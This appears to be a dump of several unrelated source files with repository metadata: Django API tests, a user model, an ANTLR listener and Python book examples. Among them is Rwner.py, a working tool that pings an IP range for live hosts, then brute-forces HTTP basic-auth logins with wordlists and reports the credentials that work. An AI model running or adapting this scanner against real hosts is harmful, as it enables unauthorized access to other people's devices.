0
1
0
0
2
6107051ee0cd2b69d30404e9c415442d9ecb4397
10,874
py
Python
web/api/tests/test_views.py
bunchc/FleetDeploymentReporting
a93af06573f2715e14b4d18b7a394c26fc19a32d
[ "Apache-2.0" ]
null
null
null
web/api/tests/test_views.py
bunchc/FleetDeploymentReporting
a93af06573f2715e14b4d18b7a394c26fc19a32d
[ "Apache-2.0" ]
7
2018-07-17T07:17:56.000Z
2019-01-24T19:16:00.000Z
web/api/tests/test_views.py
dani4571/FleetDeploymentReporting
8b132a20fa3e9c4e4215feade79f689be6e4b364
[ "Apache-2.0" ]
1
2018-07-16T22:06:14.000Z
2018-07-16T22:06:14.000Z
import logging import mock from django.contrib.auth.models import User from django.test import tag from rest_framework import status from rest_framework.test import APITestCase from api.exceptions import JobError from api.exceptions import JobRunningError logging.getLogger('neo4j').setLevel(logging.ERROR) logging.getLogger('api').setLevel(logging.ERROR) logging.getLogger('api.query').setLevel(logging.ERROR) logging.getLogger('django').setLevel(logging.ERROR) class BaseApiTestCase(APITestCase): credentials = { 'username': 'testuser', 'password': 'testpassword' } def setUp(self): User.objects.create_user( self.credentials['username'], password=self.credentials['password'] ) self.client.logout() class TestModelViewSetList(BaseApiTestCase): @tag('unit') def test_without_auth(self): resp = self.client.get('/api/models/') self.assertEquals(resp.status_code, status.HTTP_403_FORBIDDEN) @tag('unit') def test_with_auth(self): self.client.login(**self.credentials) resp = self.client.get('/api/models/') self.assertEquals(resp.status_code, status.HTTP_200_OK) data = resp.json() self.assertTrue(isinstance(data, list)) class TestModelViewSetRetrieve(BaseApiTestCase): @tag('unit') def test_without_auth(self): resp = self.client.get('/api/models/Environment/') self.assertEquals(resp.status_code, status.HTTP_403_FORBIDDEN) @tag('unit') def test_not_found(self): self.client.login(**self.credentials) resp = self.client.get('/api/models/SomeRandomModel/') self.assertEquals(resp.status_code, status.HTTP_404_NOT_FOUND) @tag('unit') def test_200(self): self.client.login(**self.credentials) resp = self.client.get('/api/models/Environment/') self.assertEquals(resp.status_code, status.HTTP_200_OK) data = resp.json() self.assertTrue(isinstance(data, dict)) class TestPathViewSetList(BaseApiTestCase): @tag('unit') def test_without_auth(self): resp = self.client.get('/api/paths/') self.assertEquals(resp.status_code, status.HTTP_403_FORBIDDEN) @tag('unit') def test_with_auth(self): self.client.login(**self.credentials) resp = self.client.get('/api/paths/') self.assertEquals(resp.status_code, status.HTTP_200_OK) data = resp.json() self.assertTrue(isinstance(data, dict)) for label, path in data.items(): self.assertTrue(isinstance(path, list)) self.assertTrue(isinstance(label, str)) class TestPropertyViewSetList(BaseApiTestCase): @tag('unit') def test_without_auth(self): resp = self.client.get('/api/properties/') self.assertEquals(resp.status_code, status.HTTP_403_FORBIDDEN) @tag('unit') def test_with_auth(self): self.client.login(**self.credentials) resp = self.client.get('/api/properties/') self.assertEquals(resp.status_code, status.HTTP_200_OK) data = resp.json() self.assertTrue(isinstance(data, dict)) self.assertTrue(isinstance(data['properties'], list)) class TestObjectViewSetTimes(BaseApiTestCase): fake_fetch_result = [{ 'Environment': { 'created_at': 10 } }] def setUp(self): super(TestObjectViewSetTimes, self).setUp() self.body = { 'model': 'Environment', 'identity': 'someid', 'time': 10 } @tag('unit') def test_without_auth(self): resp = self.client.post('/api/objects/times/', self.body) self.assertEquals(resp.status_code, status.HTTP_403_FORBIDDEN) @tag('unit') @mock.patch('neo4jdriver.query.Query.fetch', return_value=None) def test_not_found(self, m_fetch): self.client.login(**self.credentials) resp = self.client.post('/api/objects/times/', self.body) self.assertEquals(resp.status_code, status.HTTP_404_NOT_FOUND) @tag('unit') @mock.patch( 'neo4jdriver.query.Query.fetch', return_value=fake_fetch_result ) @mock.patch('api.query.TimesQuery.fetch', return_value=[1, 2, 3]) def test_resp(self, m_fetch, m_times): self.client.login(**self.credentials) resp = self.client.post('/api/objects/times/', self.body) data = resp.json() self.assertDictEqual(self.body, data['data']) self.assertListEqual([1, 2, 3, 10], data['times']) @tag('unit') def test_invalid(self): self.client.login(**self.credentials) resp = self.client.post('/api/objects/times/', {}) self.assertEquals(resp.status_code, status.HTTP_400_BAD_REQUEST) class TestObjectViewSetSearch(BaseApiTestCase): def setUp(self): super(TestObjectViewSetSearch, self).setUp() self.body = { 'model': 'Environment', 'pagesize': 500, 'page': 1 } @tag('unit') def test_no_auth(self): resp = self.client.post('/api/objects/search/', self.body) self.assertEquals(resp.status_code, status.HTTP_403_FORBIDDEN) @tag('unit') def test_invalid_req(self): self.client.login(**self.credentials) resp = self.client.post('/api/objects/search/', {}) self.assertEquals(resp.status_code, status.HTTP_400_BAD_REQUEST) @tag('unit') @mock.patch('neo4jdriver.query.Query.count', return_value=5) @mock.patch('neo4jdriver.query.Query.page', return_value='testpage') def test_resp(self, m_page, m_count): self.maxDiff = None self.client.login(**self.credentials) resp = self.client.post('/api/objects/search/', self.body) data = resp.json() self.assertTrue('data' in data) self.assertTrue(isinstance(data['data'], dict)) self.assertTrue('query' in data) self.assertTrue(isinstance(data['query'], str)) self.assertTrue('params' in data) self.assertTrue(isinstance(data['params'], dict)) self.assertTrue('count' in data) self.assertEquals(data['count'], 5) self.assertTrue('pagesize' in data) self.assertEquals(data['pagesize'], 500) self.assertTrue('page' in data) self.assertEquals(data['page'], 1) self.assertTrue('records' in data) self.assertEquals(data['records'], 'testpage') class TestObjectDiffViewSetDetails(BaseApiTestCase): baseurl = '/api/objectdiffs/details/' def setUp(self): super(TestObjectDiffViewSetDetails, self).setUp() self.body = { 'model': 'Environment', 'identity': 'someid', 'left_time': 1, 'right_time': 2 } @tag('unit') def test_without_auth(self): resp = self.client.post(self.baseurl, {}) self.assertEquals(resp.status_code, status.HTTP_403_FORBIDDEN) @tag('unit') def test_invalid_req(self): self.client.login(**self.credentials) resp = self.client.post(self.baseurl, {}) self.assertEquals(resp.status_code, status.HTTP_400_BAD_REQUEST) @tag('unit') @mock.patch('api.views.NodeDiff') def test_not_found(self, m_node_diff): class FakeNodeDiff: def to_list(self): return [] m_node_diff.return_value = FakeNodeDiff() self.client.login(**self.credentials) resp = self.client.post(self.baseurl, self.body) self.assertEquals(resp.status_code, status.HTTP_404_NOT_FOUND) @tag('unit') @mock.patch('api.views.NodeDiff') def test_nodes(self, m_node_diff): class FakeNodeDiff: def to_list(self): return ['test_prop'] m_node_diff.return_value = FakeNodeDiff() self.client.login(**self.credentials) resp = self.client.post(self.baseurl, self.body) self.assertEquals(resp.status_code, status.HTTP_200_OK) data = resp.json() self.assertTrue(isinstance(data['data'], dict)) self.assertTrue(isinstance(data['properties'], list)) self.assertEqual(data['properties'][0], 'test_prop') class TestObjectDiffViewSetStructure(BaseApiTestCase): baseurl = '/api/objectdiffs/structure/' def setUp(self): super(TestObjectDiffViewSetStructure, self).setUp() self.body = { 'model': 'Environment', 'identity': 'someid', 'left_time': 1, 'right_time': 2 } @tag('unit') def test_without_auth(self): resp = self.client.post(self.baseurl, {}) self.assertEquals(resp.status_code, status.HTTP_403_FORBIDDEN) @tag('unit') def test_invalid_req(self): self.client.login(**self.credentials) resp = self.client.post(self.baseurl, {}) self.assertEquals(resp.status_code, status.HTTP_400_BAD_REQUEST) @tag('unit') @mock.patch('neo4jdriver.query.Query.fetch', return_value=[]) def test_left_not_found(self, m_fetch): self.client.login(**self.credentials) resp = self.client.post(self.baseurl, self.body) self.assertEquals(resp.status_code, status.HTTP_404_NOT_FOUND) @tag('unit') @mock.patch('neo4jdriver.query.Query.fetch', side_effect=[[], [1]]) def test_right_not_found(self, m_fetch): self.client.login(**self.credentials) resp = self.client.post(self.baseurl, self.body) self.assertEquals(resp.status_code, status.HTTP_404_NOT_FOUND) @tag('unit') @mock.patch('neo4jdriver.query.Query.fetch', side_effect=[[1], [1]]) @mock.patch('api.views.objectdiff', side_effect=JobRunningError()) def test_job_running(self, m_diff, m_fetch): self.client.login(**self.credentials) resp = self.client.post(self.baseurl, self.body) self.assertEquals(resp.status_code, status.HTTP_202_ACCEPTED) @tag('unit') @mock.patch('neo4jdriver.query.Query.fetch', side_effect=[[1], [1]]) @mock.patch('api.views.objectdiff', side_effect=JobError()) def test_job_error(self, m_diff, m_fetch): self.client.login(**self.credentials) resp = self.client.post(self.baseurl, self.body) self.assertEquals( resp.status_code, status.HTTP_500_INTERNAL_SERVER_ERROR ) @tag('unit') @mock.patch('neo4jdriver.query.Query.fetch', side_effect=[[1], [1]]) @mock.patch('api.views.objectdiff', return_value={'it': 'worked'}) def test_frame(self, m_diff, m_fetch): self.client.login(**self.credentials) resp = self.client.post(self.baseurl, self.body) self.assertEquals(resp.status_code, status.HTTP_200_OK) data = resp.json() self.assertTrue(isinstance(data['data'], dict)) self.assertEqual(data['frame']['it'], 'worked')
33.98125
72
0.646312
1,284
10,874
5.327103
0.115265
0.068713
0.055263
0.095029
0.744006
0.708772
0.674854
0.674854
0.647807
0.635526
0
0.014252
0.212801
10,874
319
73
34.087774
0.784813
0
0
0.588462
0
0
0.116608
0.038072
0
0
0
0
0.203846
1
0.130769
false
0.007692
0.030769
0.007692
0.226923
0
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
611bc0d36ba84d207db6fcfccf8f573878945463
7,700
py
Python
Rwner.py
uniqueinx/Rwner
8588b0c17216b2575b3e15733388fe308ac9eccc
[ "MIT" ]
2
2015-01-20T08:22:46.000Z
2015-04-28T18:01:01.000Z
Rwner.py
uniqueinx/Rwner
8588b0c17216b2575b3e15733388fe308ac9eccc
[ "MIT" ]
null
null
null
Rwner.py
uniqueinx/Rwner
8588b0c17216b2575b3e15733388fe308ac9eccc
[ "MIT" ]
null
null
null
#!/usr/bin/env python try: import requests import re import sys import os import subprocess import argparse import threading import time from colorama import Fore, Style, init, deinit except: print'''This tool requires **** & **** to be installed,so please consider installing them if you really wish to use it ''' sys.exit() __author__ = 'uniqueix' # =================================================== # TODO input ip ranges in a good form ==> ############################################ # TODO check for validation of ips and not null ==> ################################## # TODO convert every thing to multithreading # TODO arggemnts oragnizing ==> ###################################################### # TODO hint about increasing timeout for slow connection # TODO with testing with wordlist 3 or 4 time outs and release it # TODO report about time out exception ==> ########################################### # TODO revise all the comments and prints # TODO make it for users wordlist ==> ################################################ # TODO basic authentication type # TODO # =================================================== live_threads = [] dead_threads = [] threads = [] Lock = threading.Lock() vulnerable = [] liveHosts = [] thread_limit = 64 runningThreadsNum = 0 def loadFile(file): openfile = open(file, 'r') lst = [] for line in openfile: if line: lst.append(line.replace('\n', '')) openfile.close() return lst def initArgs(): # Init Arguments Parser parser = argparse.ArgumentParser(description='wheres description') parser.add_argument('-t', '--timeout', help='Timeout for probing') parser.add_argument('-w', '--wordlist', help='Password wordlist to be used in authentication tries') parser.add_argument('-u', '--users', help='Users wordlist to be used in authentication tries') parser.add_argument('-ip', '--ip', help='IPs to be tested\n could be one IP ex. 192.168.1.1\n or range of IPs ex. 192.168.1-5.1-10', required=True) # parser.add_argument('-t', '--threads', help='Threads number') return parser.parse_args() def tryAuthinticate(host, users, wordlist, time_out): returnValue = () for user in users: for passwd in wordlist: url_base = 'http://%s:%s@%s' % (user, passwd, host) try: request = requests.get(url_base, timeout=time_out) if request.status_code == 200: print Fore.GREEN + '[+] %s is vulnerable & accessible.\nUser: %s\tpasswd: %s' % (host, user, passwd) returnValue = (host, user, passwd) return returnValue elif request.status_code == 401: print Fore.RED + '[-] %s Failed to authorise.' % host except requests.exceptions.Timeout: print Fore.LIGHTBLACK_EX + '[!] Timeout Exception' pass except requests.exceptions.ConnectionError: print Fore.LIGHTBLACK_EX + '[!] Connection Error' pass except: print Fore.LIGHTBLACK_EX + '[!] Unknown Exception!!!' pass return def detecting_live_hosts(ips): for ip3 in xrange(ips[0][0], ips[0][1]): for ip2 in xrange(ips[1][0], ips[1][1]): for ip1 in xrange(ips[2][0], ips[2][1]): for ip0 in xrange(ips[3][0], ips[3][1]): host = '%s.%s.%s.%s' % (ip3, ip2, ip1, ip0) if thread_limit == 0: run_isAlive(host) else: while len(live_threads) > thread_limit: # print Fore.CYAN + '[*] Sleeping for a second :D' time.sleep(1) thread_ = threading.Thread(target=run_isAlive, args=(host,)) live_threads.append(thread_) thread_.start() del dead_threads[:] for t in live_threads: t.join() print Fore.CYAN + "Exiting Detecting live hosts" def generateHostlst(ips): liveHosts = [] for ip3 in xrange(ips[0][0], ips[0][1]): for ip2 in xrange(ips[1][0], ips[1][1]): for ip1 in xrange(ips[2][0], ips[2][1]): for ip0 in xrange(ips[3][0], ips[3][1]): host = '%s.%s.%s.%s' % (ip3, ip2, ip1, ip0) liveHosts.append(host) return liveHosts def isAlive(ip): return subprocess.call(["ping", ip, "-c 1"], stdout=open(os.devnull, "w"), stderr=subprocess.STDOUT) class authenticationThread(threading.Thread): def __init__(self, threadID, host, user, wordlist, timeout): threading.Thread.__init__(self) self.threadID = threadID self.host = host self.user = user self.wordlist = wordlist self.timeout = timeout def run(self): result = tryAuthinticate(self.host, self.user, self.wordlist, self.timeout) global threads, runningThreadsNum, Lock, vulnerable if result: Lock.acquire() vulnerable.append(result) Lock.release() threads.remove(self) runningThreadsNum -= 1 def run_isAlive(ip): try: if not isAlive(ip): print Fore.GREEN + '[+] %s is Alive.' % ip liveHosts.append(ip) else: print Fore.RED + '[-] %s is Dead.' % ip except: raise finally: move_to_dead(threading.current_thread()) def move_to_dead(thread): dead_threads.append(thread) live_threads.remove(thread) # print Fore.YELLOW + 'Exiting thread' + threading.current_thread().name, len(live_threads) , len(dead_threads) def main_thread(): numOfThreads = 10 timeOut = 1 liveHostsfile = 'hosts.txt' wordList = ['admin'] users = ['admin'] ipRanges = '' lstOfIps = [] ipRangeRegex = r'([0-9]{1,3})(\-[0-9]{1,3})?\.([0-9]{1,3})(\-[0-9]{1,3})?\.([0-9]{1,3})(\-[0-9]{1,3})?\.([0-9]{1,3})(\-[0-9]{1,3})?' args = initArgs() if args.timeout: timeOut = int(args.timeout) if args.wordlist: wordList = loadFile(args.wordlist) ipRange = args.ip ip = re.findall(ipRangeRegex, ipRange) if not ip: print 'please provide a valid ip address or range\nex. 192.168.1.1 or 192.168.1-10.1-10' sys.exit(2) ip = ip[0] for i in xrange(0, 8, 2): tmp = int(ip[i]) r = [tmp] if ip[i + 1]: tmp = int(ip[i + 1][1:]) + 1 r.append(tmp) else: r.append(tmp + 1) lstOfIps.append(r) # Detecting live hosts detecting_live_hosts(lstOfIps) # for testing only # liveHosts = generateHostlst(lstOfIps) # liveHosts = loadFile('hosts.txt') # int liveHosts # Trying to authenticate global runningThreadsNum, threads, vulnerable while liveHosts: if runningThreadsNum < numOfThreads: # print numOfThreads, runningThreadsNum, len(liveHosts) print Fore.CYAN + '[*] Trying to authenticate ', liveHosts[0] x = authenticationThread(runningThreadsNum, liveHosts.pop(0), users, wordList, timeOut) runningThreadsNum += 1 threads.append(x) x.start() for thread in threads: thread.join() while threads: pass for ip in vulnerable: print Fore.GREEN + '[+] %s is accessible with %s, %s' % (ip) def main(): init() print Style.BRIGHT main_thread() deinit() if __name__ == "__main__": main()
32.217573
136
0.548182
906
7,700
4.586093
0.271523
0.025993
0.021179
0.007702
0.101805
0.089531
0.089531
0.089531
0.089531
0.089531
0
0.027347
0.287662
7,700
238
137
32.352941
0.730173
0.130909
0
0.144509
0
0.023121
0.142924
0.017691
0
0
0
0.004202
0
0
null
null
0.052023
0.052023
null
null
0.075145
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
b61661f31c38217d5f8e2eb4a7e4e120787804a9
624
py
Python
users/models.py
zenilharia26/KhaanDaan
b7d52837291167a010003134ab3fd7c2e7d23978
[ "MIT" ]
7
2019-10-29T22:08:13.000Z
2020-12-14T05:31:39.000Z
users/models.py
arghyadeep99/KhaanDaan
348add98ffc472dbcccd05269961188da659a782
[ "MIT" ]
5
2021-04-08T20:34:37.000Z
2022-03-12T00:03:36.000Z
users/models.py
arghyadeep99/KhaanDaan
348add98ffc472dbcccd05269961188da659a782
[ "MIT" ]
6
2020-04-19T18:30:45.000Z
2021-07-04T19:46:49.000Z
from django.db import models from django.contrib.auth.models import User from PIL import Image # Create your models here. class KhaanDaanUsers(models.Model): user = models.OneToOneField(User, on_delete=models.CASCADE) name = models.CharField(max_length=50) mobile_no = models.CharField(max_length=10,null=False, unique=True) email_id = models.EmailField(max_length=100, null=False) address = models.CharField(max_length=200, null=False) user_type = models.CharField(max_length=20, choices=[('R','Restaurant'),('N','NGO')]) image=models.ImageField(default='default.jpg',upload_to='profile_pics')
44.571429
89
0.754808
88
624
5.227273
0.590909
0.097826
0.156522
0.208696
0
0
0
0
0
0
0
0.021739
0.115385
624
13
90
48
0.811594
0.038462
0
0
0
0
0.063545
0
0
0
0
0
0
1
0
false
0
0.272727
0
1
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
b62e8ceb6500930b9f24351529cced6e54e8a4e0
524
py
Python
XmanLang/XqlListener.py
Vladislav-Zolotaryov/XmlMaster
e4a606d26fb08ece1208e60321cf193acebb917e
[ "MIT" ]
null
null
null
XmanLang/XqlListener.py
Vladislav-Zolotaryov/XmlMaster
e4a606d26fb08ece1208e60321cf193acebb917e
[ "MIT" ]
null
null
null
XmanLang/XqlListener.py
Vladislav-Zolotaryov/XmlMaster
e4a606d26fb08ece1208e60321cf193acebb917e
[ "MIT" ]
null
null
null
# Generated from Xql.g4 by ANTLR 4.7.1 from antlr4 import * if __name__ is not None and "." in __name__: from .XqlParser import XqlParser else: from XqlParser import XqlParser # This class defines a complete listener for a parse tree produced by XqlParser. class XqlListener(ParseTreeListener): # Enter a parse tree produced by XqlParser#r. def enterR(self, ctx:XqlParser.RContext): pass # Exit a parse tree produced by XqlParser#r. def exitR(self, ctx:XqlParser.RContext): pass
26.2
80
0.717557
75
524
4.906667
0.56
0.048913
0.081522
0.146739
0.410326
0.258152
0.179348
0.179348
0
0
0
0.012195
0.217557
524
19
81
27.578947
0.885366
0.381679
0
0.2
1
0
0.003175
0
0
0
0
0
0
1
0.2
false
0.2
0.3
0
0.6
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
b651c0fe2d4d24b13fe0b7a2aa98c252b48ecfae
6,336
py
Python
Chapter04/ch04_ex2.py
leetschau/Functional-Python-Programming-Second-Edition
650c50aaaf23c988ef78ab7a46d49d993414782f
[ "MIT" ]
65
2018-04-15T00:44:42.000Z
2022-02-20T04:11:10.000Z
Chapter04/ch04_ex2.py
zaqmoda/Functional-Python-Programming-Second-Edition
bd9d9467ef906095560a5955ebc82a360794269d
[ "MIT" ]
1
2019-07-20T10:30:37.000Z
2020-09-14T09:06:08.000Z
Chapter04/ch04_ex2.py
zaqmoda/Functional-Python-Programming-Second-Edition
bd9d9467ef906095560a5955ebc82a360794269d
[ "MIT" ]
52
2018-04-12T12:51:02.000Z
2022-03-02T18:35:50.000Z
#!/usr/bin/env python3 """Functional Python Programming Chapter 4, Example Set 2 Also used in Chapter 5. """ # pylint: disable=line-too-long,wrong-import-position,reimported from typing import Iterable, Tuple, Any Wrapped = Tuple[Any, Tuple] def wrap(leg_iter: Iterable[Tuple]) -> Iterable[Wrapped]: return ((leg[2], leg) for leg in leg_iter) def unwrap(dist_leg: Tuple[Any, Any]) -> Any: # pylint: disable=unused-variable distance, leg = dist_leg return leg def by_dist(leg: Tuple[Any, Any, Any]) -> Any: # pylint: disable=unused-variable lat, lon, dist = leg return dist test_max_alternatives = """ >>> from Chapter04.ch04_ex1 import ( ... float_from_pair, float_lat_lon, row_iter_kml, limits, legs, ... haversine) >>> import urllib.request >>> with urllib.request.urlopen("file:./Winter%202012-2013.kml") as source: ... path= float_from_pair(float_lat_lon(row_iter_kml(source))) ... trip= tuple( (start, end, round(haversine(start, end),4)) ... for start,end in legs(path)) >>> long = max(dist for start, end, dist in trip) >>> short = min(dist for start, end, dist in trip) >>> long 129.7748 >>> short 0.1731 >>> long, short = unwrap( max( wrap( trip ) ) ), unwrap( min( wrap( trip ) ) ) >>> long ((27.154167, -80.195663), (29.195168, -81.002998), 129.7748) >>> short ((35.505665, -76.653664), (35.508335, -76.654999), 0.1731) >>> long, short = max(trip, key=by_dist), min(trip, key=by_dist) >>> long ((27.154167, -80.195663), (29.195168, -81.002998), 129.7748) >>> short ((35.505665, -76.653664), (35.508335, -76.654999), 0.1731) """ from typing import Iterable, Any, Callable def max_like(trip: Iterable[Any], key: Callable=lambda x: x) -> Any: """ >>> max_like([1, 3, 2]) 3 """ wrapped = ((key(leg), leg) for leg in trip) return sorted(wrapped)[-1][1] start = lambda x: x[0] end = lambda x: x[1] dist = lambda x: x[2] lat = lambda x: x[0] lon = lambda x: x[1] test_min_max = """ >>> from Chapter04.ch04_ex1 import ( ... float_from_pair, float_lat_lon, row_iter_kml, limits, legs, ... haversine) >>> import urllib.request >>> with urllib.request.urlopen("file:./Winter%202012-2013.kml") as source: ... path= float_from_pair(float_lat_lon(row_iter_kml(source))) ... trip= tuple( (start, end, round(haversine(start, end),4)) ... for start,end in legs(path)) >>> long, short = max(trip, key=dist), min(trip, key=dist) >>> long ((27.154167, -80.195663), (29.195168, -81.002998), 129.7748) >>> short ((35.505665, -76.653664), (35.508335, -76.654999), 0.1731) >>> north = min( trip, key=lambda x: lat(start(x)) ) >>> north ((23.9555, -76.31633), (24.099667, -76.401833), 9.844) """ test_conversion = """ >>> from Chapter04.ch04_ex1 import ( ... float_from_pair, float_lat_lon, row_iter_kml, limits, legs, ... haversine) >>> import urllib.request >>> with urllib.request.urlopen("file:./Winter%202012-2013.kml") as source: ... path= float_from_pair(float_lat_lon(row_iter_kml(source))) ... trip= tuple( (start, end, round(haversine(start, end),4)) ... for start,end in legs(path)) >>> statute1 = list( (start(x),end(x),dist(x)*6076.12/5280) for x in trip ) >>> statute2 = list( map( lambda x: (start(x),end(x),dist(x)*6076.12/5280), trip ) ) >>> statute3 = list( (b, e, d*6076.12/5280) for b, e, d in trip ) >>> assert statute1 == statute2 >>> assert statute1 == statute3 >>> statute1[0] ((37.54901619777347, -76.33029518659048), (37.840832, -76.273834), 20.397120559090908) >>> statute1[-1] ((38.330166, -76.458504), (38.976334, -76.473503), 44.652462240151515) """ test_filter_sorted = """ >>> from Chapter04.ch04_ex1 import ( ... float_from_pair, float_lat_lon, row_iter_kml, limits, legs, ... haversine) >>> import urllib.request >>> with urllib.request.urlopen("file:./Winter%202012-2013.kml") as source: ... path= float_from_pair(float_lat_lon(row_iter_kml(source))) ... trip= tuple( (start, end, round(haversine(start, end),4)) ... for start,end in legs(path)) >>> long= list(filter( lambda leg: dist(leg) >= 50, trip )) >>> len(long) 14 >>> long[0] ((34.204666, -77.800499), (33.276833, -78.979332), 81.0363) >>> long[-1] ((31.9105, -80.780998), (32.83248254681784, -79.93379468285697), 70.0694) >>> s1= sorted( dist(x) for x in trip) >>> s1[0] 0.1731 >>> s1[-1] 129.7748 >>> s2=( sorted( trip, key=dist ) ) >>> s2[0] ((35.505665, -76.653664), (35.508335, -76.654999), 0.1731) >>> s2[-1] ((27.154167, -80.195663), (29.195168, -81.002998), 129.7748) >>> from Chapter04.ch04_ex4 import mean, stdev, z >>> dist_data = list(map(dist, trip)) >>> μ_d = mean(dist_data) >>> σ_d = stdev(dist_data) >>> print( "Average leg", μ_d, "with σ_d of", σ_d, "Z(0)=", z(0,μ_d,σ_d) ) Average leg 33.99131780821918 with σ_d of 24.158473730346035 Z(0)= -1.407014291864054 >>> outlier = lambda leg: abs(z(dist(leg),μ_d,σ_d)) > 3 >>> print( "Outliers", list( filter( outlier, trip ) ) ) Outliers [((29.050501, -80.651169), (27.186001, -80.139503), 115.1751), ((27.154167, -80.195663), (29.195168, -81.002998), 129.7748)] """ def performance(): print( "map", timeit.timeit( """list(map(int,data))""", """data = ['2', '3', '5', '7', '11', '13', '17', '19', '23', '29', '31', '37', '41', '43', '47', '53', '59', '61', '67', '71', '73', '79', '83', '89', '97', '101', '103', '107', '109', '113', '127', '131', '137', '139', '149', '151', '157', '163', '167', '173', '179', '181', '191', '193', '197', '199', '211', '223', '227', '229']""" ) ) print( "expr", timeit.timeit( """list(int(v) for v in data)""", """data = ['2', '3', '5', '7', '11', '13', '17', '19', '23', '29', '31', '37', '41', '43', '47', '53', '59', '61', '67', '71', '73', '79', '83', '89', '97', '101', '103', '107', '109', '113', '127', '131', '137', '139', '149', '151', '157', '163', '167', '173', '179', '181', '191', '193', '197', '199', '211', '223', '227', '229']""" ) ) __test__ = { "test_max_alternatives": test_max_alternatives, "test_min_max": test_min_max, "test_conversion": test_conversion, "test_filter_sorted": test_filter_sorted, } def test(): import doctest doctest.testmod(verbose=1) if __name__ == "__main__": # import timeit # performance() test()
32.659794
346
0.604956
945
6,336
3.941799
0.249735
0.030067
0.027919
0.038658
0.513557
0.50443
0.497181
0.46443
0.46443
0.451007
0
0.205162
0.168403
6,336
193
347
32.829016
0.501803
0.044508
0
0.422535
0
0.176056
0.770857
0.120612
0
0
0
0
0.014085
1
0.042254
false
0
0.084507
0.007042
0.15493
0.028169
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2